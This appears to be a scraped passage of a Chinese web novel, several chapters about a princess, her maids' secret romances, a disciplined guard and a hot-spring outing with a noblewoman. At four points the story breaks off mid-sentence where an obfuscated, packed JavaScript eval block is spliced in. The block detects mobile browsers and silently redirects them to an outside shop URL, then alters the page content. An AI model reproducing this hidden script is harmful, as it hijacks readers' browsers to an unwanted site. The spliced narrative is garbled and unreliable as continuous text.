叶皓也严肃起来,说道:“经昨日一事,我才恍然,我多年不在府中,疏于管理,这府中未免有二心之人和惫懒之人,未雨绸缪,早些处理得好。不够的人手,我会从军中调派,你身边我也会再安排几个人。还有,京中之变,我不知道是什么时候开始、会是什么结果,我在维扬、吴郡、临江都有宅子,有危险时,我会送你离开。” 听着他的一番计划,暖暖忽觉事情的严重,她走到花瓶边,摘下一朵海棠,说道:“我不走,等待的滋味我知道,真是煎熬。我现在有能力自保,也可以帮到你们,若真的失败了,我们一个也逃不掉。” “别说丧气话,这件事我们必须赢。”叶皓笃定地说道,然后递给暖暖一张身契,说道:“这是画眉的身契,你看着处置吧,舒雁是宫籍,暂时动不了。” 这时,季萧进来回禀:“文辉大人府上送来帖子。”叶皓接过,打开看了一眼,交给了暖暖,说道:“给你的?” “给我的?”暖暖疑惑地接过,看了一遍,原来是文瑶邀她于后日一起去她家的庄子小暖泉。 她放下帖子说道:“我不想去,她定然是想打探你的情况才约的我,你也是,惹出这么多桃花债来。” “这可不是我的原因,我已明确拒绝过,奈何她执意如此。” 暖暖突然想到师英玉对叶皓的评价:多情而不自知!真是贴切,她调侃道:“你若是女子,定是个红颜祸水。” 叶皓拿起帖子看了一遍,说道:“去玩吧,整日闷在家里有什么意思。” “昨日三哥才说让我在家休养,回头被他捉到,又要一顿说教。”暖暖说完,撇撇嘴以示不满。 “你管他呢,你自玩你的。”叶皓不以为然地说道。 暖暖却笑话他:“就会背地里逞能!也不知道是谁,见了他连话都不敢说了。” “咱俩彼此彼此。”叶皓并不相让。 韦素端着药膏进来,说道:“殿下该敷药了。郡主,方才舒雁姐姐让人来传话,说郡主的药熬好了,请郡主过去服用。” 叶岚点头,拿了画眉的身契,离开书房,边走边思量。 画眉与她年龄相仿,已到了议亲的年龄,跟着她也没什么前途,不如早早解了身契,放她归家。 舒雁已经年过二十,若让她想归家,倒是有些困难,需等宫里特赦的旨意。不过可以让四哥去找惠妃娘娘试一试,但随即她又否定了,因为他母子二人之间似乎有些不愉快,只能等以后慢慢再说。不过,还是要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162843|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先问问她二人的意思才好。 回到了淡云阁,舒雁端来汤药,暖暖净了手接过一口气喝下,漱了口后问道:“画眉呢?” “她……她出去了。”舒雁收了碗盏,便要退下,心中又有些奇怪,郡主今日这药怎么喝得这么痛快。 暖暖一眼就看出了她的不自在,当是她身子不是爽利,只说道:“去叫画眉过来,我有话对她说。” “她,没在府上!”舒雁有点心虚。 暖暖疑惑地问道:“什么?去哪里了?” 世家女子的贴身侍女,若没有主人特殊的命令安排,一般都是随侍主人左右的,即便主人不需要服侍,也是不能随便出门去。若是家中有事,也需回禀过主人,由管家安排接送,不得自作主张。 暖暖不记得她让画眉去做些什么别的事情。 舒雁见瞒不下去,便跪下请罪道:“郡主恕罪,今早郡主走后,画眉便说郡主让她去买纸笔,想出府去。但她又未曾申领银钱,奴婢觉得蹊跷便拦住她,细问才知她今日约了阮孝。奴婢一时未看住,她便悄悄出去了……此事是奴婢不妥,请郡主责罚。” 这倒不是什么大事,暖暖一向待人宽厚,规矩上也不严苛,院中之人多有自由,她只问道:“阮孝是谁?” “原是王府的小厮,后来解了身契,出府去了。” “哦……你先起来吧,此事不要声张,待她回来让她来见我。”叶岚思忖着,估计是二人早有私情,正好她能做个顺水人情,促成一段佳话也是美谈。 可舒雁没有起来,继续说道:“奴婢劝不动画眉,还请郡主劝劝她,私会外男,是重罪。” “郎情妾意,两厢情愿,倒也不必阻拦。” “可那阮孝不是可堪托付之人……奴婢听说郡主病重那日,祝先生迟迟不至,皆因阮孝惫懒,才使祝先生出了事故,也差点害了郡主,殿下盛怒,便罚了他杖刑,赶出府去了。”舒雁恐勾起叶岚的伤心,故而言语间用重病代替了小产一事。 “原来其中如此曲折,我竟是一点也不知道。”那时暖暖的半只脚踏进了鬼门关,哪里还有心关心周围之事。 “是殿下叮嘱过,不要让这些事影响郡主休养。” “画眉是个有心眼的,不会出什么差池……对了,舒雁,你今年是不是二十了?”暖暖说着拉着舒雁起来。 “奴婢今年二十有二了。” “可曾想过嫁人?” 此话一出,舒雁心头一颤,又跪下去焦急地说道:“奴婢从未有过非分之想。” 这也不算是什么过分的事,暖暖未想她会有如此反应,和言道:“说什么傻话,你跟一场我自不会亏待你,日后若你看上哪家的公子,我去替你筹谋。” 听见郡主如此说,舒雁这才悄悄松了一口气,羞红了脸,叩首道:“郡主不要开奴婢的玩笑,奴婢愿侍奉郡主一辈子。” 见她怯不开,暖暖也不深说,只说道:“后日我要同文家姑娘一起去泡温泉,你先去替我准备些东西吧。” “是。”舒雁应声退下。 暖暖走到窗前,窗外是一株初开的海棠,花朵如胭脂般点缀于绿叶之上。她细数身边跟随过她的侍女,除了早就离开她的云琴,竟然无一善终,如今的舒雁与画眉,她一定要给她们一个好归宿。 75. 神思张如弦 午膳前,画眉方归,舒雁将她拉到一边,悄悄告诉她快去向郡主请罪。 画眉却不当回事,还笑嘻嘻地说道:“郡主宽仁,不会计较的。” 舒雁蹙着说道:“即便是主子纵着,咱们做下人的也不能失两分寸,郡主已在书房等你半日了。” 画眉一听,心中惊慌起来:“郡主可知我为何出去?她可生气了?” “如何能瞒得住,洗洗脸快些去吧!”舒雁说着将她头上的绢花摘下来,她今日打扮过于艳丽了,已违了府内规矩,若被有心人看到,恐怕连郡主和信王都救不了她。 画眉吐了吐舌头,用帕子将脸上的胭脂擦掉些,便去见郡主。 到了书房,看到案几上的身契,她虽识字不多,但还是认得自己的名字,这下她心中畏惧起来,方才见情郎的欢喜和离别的不舍都如烟云消散,跪到郡主跟前,低头不语。 暖暖见她这样子,知她畏惧,只问道:“什么时候开始的?” 画眉的声音有些颤抖:“从宣州回来之后。” 暖暖细算算不过两个月的时间,这么短的时间如何能看透一个人,她有些问:“你们怎么联系上的?” “自宣州回来后,奴婢去棠楼买过胭脂,碰到了他,后来又在那里碰见了两次,他还送了奴婢这珠花。”说完她抬手摸了摸发髻上的珠钗。 暖暖看那珠钗,珠子小且不规整,是很是普通的货色,她向来手松,钗环首饰常常留不住,画眉手中也应该有不少,画眉为了这点东西就托付了芳心,她想也许是这阮孝是有可取之处的。 画眉接着说:“这只珠钗虽然普通,但是是他省吃俭用了一个月才买来的。” 暖暖看着她难以隐藏的喜悦,心中叹了口气,看来还真是被哄骗了,此人若是能踏实地做工,何须省吃俭用才换得此珠钗,看来此人还需好好查一番。 她佯装不悦地说道:“府上的规矩你不是不知道,所幸无他人知晓,这次就先饶你一遭,下不为例。” 画眉转忧为笑,立即叩首:“多谢郡主,奴婢就知道郡舍不得罚奴婢。” 暖暖扶起画眉,语重心长地说道:“我不是拦着你,只是希望你能托付良人。阮孝这人,我听闻他是被逐出王府的,我是担心他品行不端。” 画眉却说道:“他是被冤枉的,都是成王府的人陷害他的,他说……” 暖暖听她言语间已偏向阮孝,便打断她:“好嘞,去厨房催一催午膳,我有些饿了。” 画眉走后,舒雁问道:“郡主怎么不让她说下去,听听阮孝是怎样辩驳的。” “既知是辩驳,听了也无用。你看画眉现在的样子,满心满眼都是那个阮孝,哪里听得说阮孝一句不是。再则,当日的情况咱们还不清楚,此事日后慢慢说罢。”暖暖想了一下,继续说道:“上次祝先生出事,后来是谁处理的?” “季萧。” “用完膳叫季萧过来一趟。” “好,奴婢告诉他午后送些纸砚过来。” 舒雁办事果然稳重妥帖,午后暖暖正欲小憩,季萧亲自搬着一摞笔墨纸砚来到了清和轩。 暖暖不想动弹,让他进寝殿回话,他却说于规矩不合,郡主有什么话问让舒雁传话即可。 暖暖只得命他到书房等候,她则起身更衣也来到书房,见季萧腰肩短刀长剑、佩戴齐全,身姿笔挺地侍立在内。 “怎么在府内还配了刀剑?”暖暖不解地问道。 “是殿下的命令。”季萧并未多言缘由。 暖暖也不多想,直言所问之事,季萧略略犹豫了一下还是将前情备述。 她听完心中只觉得不好,但也未表露,接着说道:“你帮我去查一下,现在这个阮孝在做什么营生?住在哪里?家里还有些什么人?” 季萧当即跪下请罪:“郡主恕罪,恕属下难从命,属下只听命从殿下差遣。” 暖暖一愣,未曾想会遭拒绝,当下很是不悦,重重地将茶杯放下:“怎么?本郡主说话就不管用吗?” 季萧不做解释,只是叩首:“郡主息怒,请郡主责罚。” 无可奈何,良久暖暖才说道:“倒是忠心可嘉,先退下吧。” 季萧走后,舒雁劝慰道:“这个季萧,真是不知变通!不过郡主也不必生气,他是受过训练的侍卫,自然只听令于殿下。” “那我们便自己想办法去查。” “阮孝这番过错,杖毙都不为过,为何殿下只是责罚了他,还解了他的籍契,他岂不是因祸得福?”舒雁想着季萧说的事情经过,说出其中的疑惑之处。 “大约是因为哥哥也认为这非他本意吧,或者他的确也是中了别人的圈套。” 舒雁并不赞同:“那也是因他本身不端正,想喝同乡的那口酒。若是将祝先生送达后再去也不迟,左右不过一刻钟的时间,哪里就这样急不可耐了。” 暖暖拿着一只笔,一点点捏散毛尖胶,拔掉浮毛,听着舒雁的话觉得颇有道理,示意她继续说下去。 “奴婢在宫里时,教养嬷嬷就教导过,吃食要有寸当,不可挑东捡西,还说‘女子馋嘴易失节,男子馋嘴易夺志’,像阮孝这般行径,就是失了志气。” “的确,三军可夺帅,匹夫不可夺志,但女子另当别论。”暖暖赞同后半句,可对前半句却不苟同。 她又将毛笔放进笔洗里浸泡,左手托着腮等着。 舒雁以为她困倦,于是说道:“郡主休息吧,我来洗笔。” 暖暖摇摇头:“我已经沾手了,你将纸裁一下,留着写字用。你说得很有道理,原始见终,这个阮孝,还要好好考验他一番……这几日多看着点画眉,别让她做出什么出格的事来。” “是,奴婢自会看顾她。” 暖暖将开好的笔蘸了墨汁,写了几个字,满意地点了点头。 晚间,她去看叶皓时,看见季萧跪在书房外,便悄悄问韦素:“发生了何事?” 韦素有些为难,今日殿下颇为严肃地强调了规令,他可不敢再多说什么:“郡主还是去问殿下吧。”说完躬身退下。 她看了一眼季萧,只见他闭着眼睛面色有些发白,鬓边留有汗渍,看来跪的时间不短了。 季萧听见脚步声便知是郡主,向她叩了一首后,复尔挺直身体继续跪着。 他受罚一定是午后之事的缘故,暖暖有些心虚,快步进了书房,见叶皓正在书案前写着什么,她问道:“外面是怎么回事?” 叶皓抬眼看了一眼外面,说道:“他有违军纪,本该罚二十军鞭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174407|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但是他还有任务在身,便先罚他跪两个时辰。” “是因为我问他话了?” 叶皓放下笔,看了一了所写的内容,确认无误后放到一边晾干,而后才说道:“是,也不是。” “怎么讲?”暖暖拿起他刚放下的笔在笔洗里搅动。 “他是我的心腹,你叫去问话,他应先告知于我,而不是贸然前去,此为其一;未得允许,私自透露府中情况,此为其二。” “你说得好没有道理,我是外人吗?再说他也算是被我去回话,我让他说,他岂敢不说?你要罚便连我一起罚了。”暖暖有些生气,将笔掷到了笔架上。 叶皓看着溅到案几上的水渍,皱着眉说道:“这件事你不要管了。” “不行,事情因我而起,他是无辜受牵连,要么你现在让他回去,要么就罚我一起跪着。”暖暖说着就耍起赖来,气呼呼地坐下,大有一副不给个说法就不走的架势。 叶皓无奈将韦素叫进来,吩咐道:“让他起来吧。” 韦素领命出去,一会季萧进来,走路有些不自在,但还是跪在他们面前说道:“谢殿下。” “谢郡主吧,我再不让你起来,她就要一起去跪着了。” 季萧转向郡主,再叩一首:“谢郡主。” 暖暖心中愧疚,讪讪一笑。 “好了,去休息吧,后日跟郡主一起去文家。” 季萧领命告辞,他起身时有些艰难,但还是咬着牙坚持,面色未有异样。 叶皓看着季萧离去,叹了口气说道:“你也别怪我这般,如今情况未明,咱们府上先要肃清内患,今日的确是拿他作筏子,警示一下众人……对了,你打听阮孝做什么?” “唉!画眉看上了他。” 叶皓脸上掠过一丝难以置信的神色,随即恢复正常,问道:“哦?是吗?不过此人并不是可靠之人。当日的事,他罪可不轻,他贪小失大,是无远见之人。我给他身契让他出府去,是恐他日后报复,因此得过且过了,不想他还敢与府中有联系。不过,先不说他们,我现在倒想说说你。” 暖暖眼中闪过一丝错愕,关我什么事?不服气地问道:“我?我怎么了?” “治下不严、赏罚不明。你的婢女与外男有私,估计已不是一日两日,你竟毫无察觉,这便是治下不严;你既已知晓,有功者不赏、有错者不罚,这便是赏罚不明。兵书有云:视卒如婴儿,故可以与之赴深溪;视卒如爱子,故可以与之俱死。厚而不能死,爱而不能令,乱而不能治,譬如骄子,不可用也……” 暖暖很是不耐烦,打断了他:“你怎么越来越像三哥了……我又不领兵打仗,学兵法有什么用。” 叶皓丢给她一本《孙子兵书》:“好好学学,你呀,都被他给惯坏了,学会顶嘴了。” 暖暖自然知道叶皓所指的“他”是谁,便不愿再同他说下去,于是扔下书,冷哼一声后出去了。 回去路上碰见韦素端着药膏,一问才知是叶皓让送给季萧的,她心中不忿:这不就是打一巴掌、给一个甜枣的事吗,还跟我谈兵法。 第二日她没有出去,而是想着如何去考察一下阮孝。虽然舒雁和叶皓都指出阮孝不可托付,但暖暖却不想让有情人分离,想亲自试探他一番。 76. 来日江湖见 第三日,天气晴好,文瑶早早驾车来到信王府。暖暖只命舒雁同去,故意将画眉留在了府里,让她看着移栽绿植。 那日舒雁告知高管家郡主要栽些茉莉,高管家很是上心,在花草行里对比了几家,定下了不同品种的茉莉,正好趁着今日郡主外出,请工匠到府里移栽。 虽有文府的车架,但叶皓仍旧安排了车架同往,命季萧并四名侍卫护送,他将暖暖送出门,见她一副不开心的样子,问道:“怎么?还生我的气呢?” “岂敢?”暖暖对这次出行并无期待。 “你呀!我也是为你好,以后你会明白的。” 韦素牵马过来,说道:“殿下,可以出发了。” “好……”叶皓说着身形却未动。 “你去哪里?”暖暖不解地问,他的脚伤还没养好,不宜走动,毕竟她扭脚时休养了半个月之久。 “今日要去任上。”叶皓活动了一下脚腕,继续说道:“这点小伤不算什么。” 看着他一副满不在乎的样子,暖暖心中感叹:这情伤大概也不算什么吧。 “叮铃……叮铃……”一串马玲声自长街尽头传来,只见一辆装饰华丽的马车缓缓驶来,不多时便到了王府门口。 文瑶自马车里出来,见到叶皓便红了脸,赶紧下车行礼问安。 叶皓客气道:“今日有劳文小姐了。” “殿下放心,臣女一定照顾好郡主。”文瑶耳根红透,声音软糯。 ”我还有公务,告辞。”叶皓说着眼睛却看向暖暖,说罢转身上马,带着侍卫离开。 文瑶的目光随他而去,直到暖暖在马车上叫她,她才转身上了车。 一路阳光明媚,碧空千里,路上暖暖与文瑶同乘,舒雁与文瑶的侍女同乘,季萧并侍卫骑马相随。 “殿下的脚怎么了?”文瑶见叶皓上马时需要人搀扶,心下甚是担忧,实在忍不住便向问郡主询问。 “扭伤了。” “怎么会这么不小心呢?。” “路滑……没走稳……”暖暖编了谎。 “哦,哦……”文瑶掀开车帷,看着这一队人马,感叹到:“今日这阵仗也太大了,殿下真是关心郡主,只是去游玩一番就派了这么多人。” “他说今日人多,便多派了几个侍卫,今日,可还有别人同去?” “只有咱俩,自家的汤泉,外人并不知晓,汤泉也不大,人多了泡不下。” 暖暖知道她是因为自己不喜热闹而没有邀请别人,于是含笑致谢。 一路上多数时候都是文瑶在说话,暖暖偶尔附和几句,她觉得她与文瑶算不上朋友,与文瑶相处不如与师英玉相处轻松愉快。 也不知道玉姐姐现在怎么样了,写给她的信也不知什么时候能送达。 文瑶叽哩哇啦地说着自己的哥哥嫂嫂,暖暖听了个大概。他们夫妻二人是指腹为婚,文瑶幼时丧母,是她嫂嫂将她带大,姑嫂二人感情至深,而她哥哥却待她却很严厉。 从她这开朗的性格及衣着打扮,暖暖可以看出她的确被她哥嫂养得很好,并没有受过什么苦处。 出了城,行人渐少,暖暖掀开车帷,远远看见三清观,她临时起意:“泡完温泉,咱们再去拜三清真人吧。” “好呀!好呀!我以前都是和嫂嫂去,但自她有孕后,我就再也没去过了。” 暖暖继续向外面看着,再向前便是石城湖,湖畔的桃花正盛,但隐约可见颓败之势。 远远看见桃花林处一人牵着马信步而行,她只觉得得那人眼熟,仔细看了看,原来是于文则。 她记得叶均说过要将于文则调离京城,难道他这是要走了?若真如此,他的命运因自己而改变,这对他来说太不公平了。 想到这些她心中有些愧疚,决定去问个清楚,也许会有挽回的余地,人生海海,现在若不说,怕是以后再没有机会了。 她叫停了马车,对文瑶说道:“我方才看见外面有一个朋友,他今日离京,我去和他道个别,你们先走,我一会追上的来。” 说完便下车,向季萧要了马,朝着于文则奔去,季萧不明所以,要了一个侍卫的马,追她同去。 暖暖走近了才看清,的确是于文则,他一身枯绿色的衣衫牵着一匹瘦马,马鞍处挂着一个灰色的包袱并一把剑。 于文则听见马蹄声,回头见是郡主,眼神中有些错愕,停下脚步,整理了一下衣衫。 暖暖下马站稳,问道:“于文则,你是要离京吗?” 于文则端正地施了一礼:“正是,郡主怎么在这里?” “我路过,看到了你,来和你……道个别,你要去哪里?” “成王殿下差我出京办些公务。” 果然是叶均将他调离,“你……成王跟你说什么了?暖暖一时也不知道说什么,刚才想道歉的那股勇气也没有了。 “只说不要让我再追究以前的事了……是啊,人都有过往,是我不该探究。” 暖暖终于鼓起勇气,说道:“对不起,是因为我的原因,三哥哥才让你离开这里。” 于文则一笑,说道:“那我还要感谢郡主,这京城我早就不想待着了,办完差事后,我便可以继续游山玩水了。” 暖暖以为他是自己为自己找台阶,真诚地说道:“我是真心向你道歉的。” “郡主不必挂怀,若说道歉也该是我给郡主道歉。此事原是我开的头,也因我的自以为是,让郡主受了如此伤害,于某在此向郡主道歉了。” 一阵微风吹过,花瓣如雪般飞扬起来,于文则拂去身上的花瓣,说道:“时间不早了,多谢郡主相送,山高水长,后会有期,愿我们能江湖再见。”完欠身行礼,上马而去。 暖暖目送于文则离开,只觉得他那枯绿色的背影,在这繁花中显得无比的落寞。 见车马还等在原处,她将马交给季萧,步行返回,一路上她思忖着于文则的话:江湖再见。但是大概以后再也不会相见了,也不知道于文则有没有说实话,也不知道三哥哥有没有将实情告知于他。 有些事,她总是这样地糊里糊涂。 一路上她整好情绪,掩饰了落寞,她也不知道自己为什么落寞,大约仅仅是因为别离吧,虽然落寞,可也算是解开了一个心结。 她想起她也欠季萧一个歉意,便转身对季萧说道:“前日之事,是我连累了你。” 季萧怔了怔,赶紧行礼道:“是属下的错,郡主亦是属下的主上,属下愿为主上赴汤蹈火,万死不辞。” 暖暖有些摸不着头脑,叶皓昨日不是这样说的,她反问道:“你这么快就叛旧主了?” “殿下昨日斥责了属下,不该把郡主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183340|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当外人。” 暖暖这才明白,前日叶皓对她、对季萧是两套说辞,她心想:四哥哥可真是用心良苦。 回到马车上,文瑶问是何人?她如实回答。 文瑶也没有在意,开始介绍她家的这个汤泉,这个汤泉是庄子上挖井时发现的,当泥水被冲走后,人们才发现流出来的水是温热的,水流虽不大,但却源源不断。 她嫂嫂非常喜欢,给取了个名字叫“小暖泉”,这个名字虽算不上文雅,但却符合实际。后来她家又在这里建了房屋,屋里用点苍石砌了两个大汤池,房外围种了竹林,除非飞到天上,否则谁也不会想到庄子里还能泡汤泉。 又行了半个时辰,来到一处庄子,外表看是普通的农家宅院,进去才发现里面却别有洞天。 到了外院,季萧并四个侍卫便被请去喝茶休息,文瑶带着暖暖及侍女们穿过正厅前堂,出了后门又走来一段竹林小路,才来到一处院落。 房屋建得比暖暖想想的要华丽许多,除了汤池,前厅、内厅、偏厅,茶室、书房、寝室一应俱全,看来文家对这里下了十足的功夫。 浴袍、茶点等早已备好,待暖暖换好衣服走进汤池时,文瑶已经泡在水里了。 文瑶笑着向她撩水,说道:“郡主快下来。” 暖暖沿着台阶走入水中,温暖的水流将她包裹,如同轻柔的丝绸抚过肌肤,带来一阵阵舒适。 她赞叹道:“这水真温暖……文姐姐,叫我叶青吧。” “怎么好直呼郡主名讳,郡主不介意的话,我唤郡主一声妹妹可好?” 暖暖点点头,看着文瑶指若削葱根、口若含朱丹,如凝脂般的柔肌在水中宛如滑丝,再看看自己,和她一比简直像是一块炭一样。 这是在祁国的经历在她身上留下的痕迹,北方气候干燥,日光强烈,不论怎么保养,皮肤都会变黄变黑一些。 但她并没有多在意,文瑶却说道:“回头我送些白芍、白术到你府上,煮水喝,对皮肤好。” “好,我这皮肤一晒就黑,正好试试。” “你少吃些水芹、胡荽这类的菜蔬,还有橘子这类颜色重的水果,也要少吃些。” “这还有关系吗?”暖暖微微诧异。 “当然,我小时贪食,多吃了几个橘子,第二日便脸色如橘皮一样,可把嫂嫂吓坏了,过了几日才好起来。”文瑶看着暖暖胸前一道疤痕,犹如一节蚯蚓附在皮肤上,看着让人心惊,问道:“怎么有这样深的疤痕。” 暖暖抚摸了一下疤痕,皮肤肌肉还没有平复,摸起来凹凸不平,她回答道:“在重峪关战场上受的伤。” 文瑶简直要惊掉下巴:“啊?你怎么会上战场?没有侍卫保护吗?” “刀剑无眼,打起仗来,谁还顾得了谁?”暖暖有意避谈当日之事。 “怪不得,四殿下非要给你更名,原来是不想再让你再到祁国去。” “文姐姐真是聪慧,一下就猜到了,但是这件事隐秘,不宜让别人知道。” 文瑶看出她的担心,拉上她的手说道:“妹妹放心,此处无人我才敢说,妹妹嫁的那祁国皇子,待妹妹一定不好,不然怎么会让妹妹置身于险境。” 痛苦在暖暖心头一闪而过,她不喜在人前提及冷逸尘只回答了一句:“他……姐姐,有些事,我们都是身不由己。” 77. 日暖春昼长 文瑶见暖暖伤感,自悔失言:“瞧我,又胡说了。”说着拿过酒壶倒了一盏奉上:“尝尝这个,庄子上自酿的甜酒,加了蜂蜜的。” 暖暖笑着接过:“什么都没有这杯杜康好。”之后将盏内酒一饮而尽。 “你慢些……喝得急容易上头。”文瑶拨弄着水,弄出一阵阵小水花:“冬天下雪天来才好,白雪绿竹,别有一番风趣,我嫂嫂九月时候就生了,等冬天咱们就能一起来泡这汤泉了。” “你与你嫂嫂的感情真好。” “那是,我外祖家与她家是邻居,我还在襁褓中她便开始照拂我。他们正在议亲时母亲故去了,婚事也延后了三年,她们成婚便晚了些。我记得小时候嫂嫂总是抱着我哭,大约是与哥哥不合,不过后来又好起来了,哥哥为了嫂嫂将两个通房妾室都遣散了。” 暖暖顺着她说道:“你嫂嫂嫁对了人。”但她心中并不这样认为,这其中要经历多少坎坷,费尽多少心机,若她哥哥是真心待她嫂嫂,为何要让她受这个磨难。 “这样过日子,该有多累,每日都要小心翼翼的。”暖暖又喝了一盏酒,言语含糊不清,像是对文瑶说,又像是在自言自语。 “你说什么呢?哎呀,少喝一些,这酒后劲大着呢!”文瑶看着她眼神有些迷离,将酒盏拿来过来:“宅院里的日子不都是这样吗?他们二人还算好的,你还记得柳家吗?” 暖暖摇摇头。 “就是那年安家雅集上,将咱俩推下山坡的柳心莹,你因此摔伤了腿,记得了不?” 倒是有这么一回事,暖暖仔细回忆着,那次叶皓带她去安家的雅集,柳盈心与文瑶发生口角,误伤了她,究其原因竟是因叶皓而起,也只不过是小女子间的争风吃醋罢了。 文瑶继续说道:“她家呀!一团乱麻,她父亲侍妾十几个,生了十几个子女,日日纷争不断。” 暖暖换了个姿势,将头枕在左臂上,热气蒸腾,酒意微醺,缓缓说道:“怪不得这样有心机。” “她母亲只顾着与妾室争斗,子女们也没个教养,恶形恶状,没人愿意与她家结亲。无奈家里只得将她远嫁,她不愿意,哭了好几日,后来不知道怎么就嫁给了张家做侧室,不过看张家的态度,应该是她使了什么手段……” 暖暖对这些家长里短不感什么兴趣,渐渐有些睡意,渐渐听不清文瑶说什么?迷迷糊糊地说道:“姐姐以后一定会嫁得良人,夫妻和顺,我哥哥他与姐姐……” “胡说什么呢?”文瑶嗔怪地打断了她,瞬间面若桃花,转身倚着台阶心事婉转。 暖暖本来想说的是我哥哥他与姐姐不合适,但被她打断后也没将后半句说出口,她头脑沉沉也顾不得解释,眼睛一闭,见了周公去了。 不知过来几时,只听见文瑶叫她:“别睡呀,小心着凉……” 她打了哈欠,用水洗了一下脸,手上有些粗糙,才发觉手掌已经被泡出了一层褶皱,她恹恹地问道:“我睡了多久?” “不到一刻钟吧。” 只有一刻钟?可明明感觉像是睡了一个时辰,暖暖提议出去:“这里热得让人直犯困。” 这温泉泡着虽舒服,但也不宜就待,文瑶也赞同道:“正好,我让人准备了几道野菜做的小食,虽不算是难得的,可一年中就有这几日能吃上,全在个新鲜劲。” 二人出了汤池,各自回屋换好衣服,出来时一桌春宴已备好,是各种春花与野菜做的汤羹,色美味鲜,齿颊留香。 酒足饭饱后,暖暖惬意道:“大约神仙住的地方也比不上姐姐家的这个庄子。” “你若喜欢,我们下次再来。”文瑶打开窗户,暖风扑面,几只小鸟受了惊吓,扑棱着翅膀飞走了,她看着天色,说道:“来的时候说要去拜三清,正好今日算是斋戒沐浴了,咱们快一些,赶午时之前能到,也不算对神明不敬。” 暖暖当即同意,二人立即动身。 季萧见郡主出来,悬着的一颗心终于放了下来,进内院后郡主身边只有柔弱的侍女,若有歹人恐不能护卫,而他是男子也多有不便,看来回去还要向殿下提议安排女侍卫一事。 马车紧赶慢赶,终于在午时前到三清观时,此时观中十分安静,几无香客。正殿中,玉清、上清、太清三位神明,高高地坐在殿内正中间,俯视着芸芸众生。 暖暖取了三炷香点燃,参香完后,将三炷香一起插入了香炉内,然后跪在蒲团上祝祷:愿家国无恙,叶氏能平安度过此难;愿冷逸尘顺遂无虞、一世长安。而后虔诚地一礼三扣。 这是她第一次平静地想冷逸尘,也是真心地希望他能够平安,这次她没有纠结之前,也没有忧虑之后,人这一生,爱也好、恨也罢,都将如这香炉里的烟一样,风一吹就散了。 拜完三清,出了大殿信步于观内,不知不觉到来后面花园内,二人拾级而上,共赏春景。 文瑶摘了一朵辛夷花,放在鼻子下面闻了闻,然后递给暖暖,说道:“好香……妹妹许了什么愿?” 暖暖接过花朵,也闻了闻,笑道:“说出来就不灵了。” “对,对。说出来就不灵了。” 空山鸟鸣,远离了尘嚣,心也跟着静了下来,二人不再说话,只是静静地边走边看,行至一处高台,向远处望去,一片清明景和。 暖暖看见上次吃馄饨的小摊还在,忽然觉得有些饿了,刚才的春宴虽新鲜,却也不顶饿,她说道:“文姐姐,咱们吃些东西去吧。” “好呀,走了这半天,倒有些饿了,咱们去三元楼怎么样?” “我带姐姐去个吃点特别的。” “特别的”几个字勾起了文瑶的兴致,想着一定是什么新鲜之物,忙问道:“是什么?” “到了就知道了。”暖暖说完,便拉着文瑶朝下坡走去,并叮嘱侍女快走两步,午饭时间已过,她担心摊主一会就收摊了。 一路快步,来到小摊前,暖暖熟悉地坐到矮桌前说道:“老板,每人来碗馄饨。” 摊主看了他们一行人,略约算了一下:“这位小姐,实在不好意思,一人一碗怕是不够了。” “那就匀一匀,一碗少盛几个。” “好嘞,那我少算小姐两碗的钱。”摊主说罢,添柴烧水,将案板上的馄饨全部下入锅中。 暖暖见文瑶迟疑未落座,便招呼她坐下,她看着小椅面露难色,转头示意了一下侍女,侍女掏出两方帕子垫在了小椅上,她这才落了坐。 文瑶小声地问道:“你说的‘特别的’就是这里?”言语间有些嫌弃,但又不敢十分表露。 “对呀!”暖暖并不在乎她的嫌弃,转向摊主:“还有酱菜吗?来一些。” “好嘞,稍等!”摊主答应得痛快。 文瑶看看摊主拿完木柴的手又去拿馄饨,不觉皱了眉,问道:“妹妹是怎么知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你我之间还客气什么?时辰还早,咱们去含香榭买些胭脂水粉。”说完,也不等她同意,对着外面说了一声:“去含香榭。” 暖暖本想拒绝,但转念一想文辉与叶皓交好,此时若由着性子来,恐于她哥哥们不利,少不得还要再忍耐一会儿。 含香榭二层雅阁中,暖暖用手撑着头看着文瑶试胭脂,已经试了七八种颜色,店家娘子还在耐心地为她介绍每种胭脂的特点。 